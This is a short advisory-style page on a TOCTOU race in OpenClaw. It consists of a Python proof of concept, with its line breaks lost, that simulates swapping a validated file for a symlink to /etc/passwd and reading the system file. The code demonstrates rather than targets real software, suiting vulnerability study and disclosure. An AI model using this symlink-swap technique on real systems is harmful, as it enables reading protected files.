CVE-2026-43529 OpenClaw TOCTOU竞争条件漏洞

#!/usr/bin/env python3 import os import time import threading # PoC for CVE-2026-43529: OpenClaw TOCTOU Race Condition # This script simulates an attacker swapping a file after validation. VALID_FILE = "./workspace/valid_script.sh" TARGET_FILE = "/etc/passwd" # Sensitive file to leak LINK_PATH = "./workspace/target_link" def setup(): if not os.path.exists("./workspace"): os.makedirs("./workspace") with open(VALID_FILE, "w") as f: f.write("#!/bin/bash\necho 'Safe script'") def race_condition_swap(): print("[*] Attempting to swap file...") # Simulate the window between check and use # In a real scenario, this loops rapidly until success while True: try: # The attacker removes the valid file and creates a symlink to the target if os.path.exists(LINK_PATH): os.remove(LINK_PATH) os.symlink(TARGET_FILE, LINK_PATH) print("[+] Symlink created to " + TARGET_FILE) break except Exception as e: pass def trigger_vulnerable_function(): # Simulating the vulnerable OpenClaw function behavior # 1. Check phase (validateScriptFileForShellBleed) # Assuming it checks if VALID_FILE is safe if os.path.exists(VALID_FILE): print("[*] Validation phase: File looks safe.") # 2. Attacker triggers swap here attacker_thread = threading.Thread(target=race_condition_swap) attacker_thread.start() # Small delay to simulate processing time allowing the race time.sleep(0.1) # 3. Use phase (Preflight read) # The code reads from the path, which is now a symlink with open(LINK_PATH, "r") as f: content = f.read() print("[*] Use phase: Read content ->") print(content[:100]) # Print part of /etc/passwd else: print("[-] Setup failed.") if __name__ == "__main__": setup() trigger_vulnerable_function()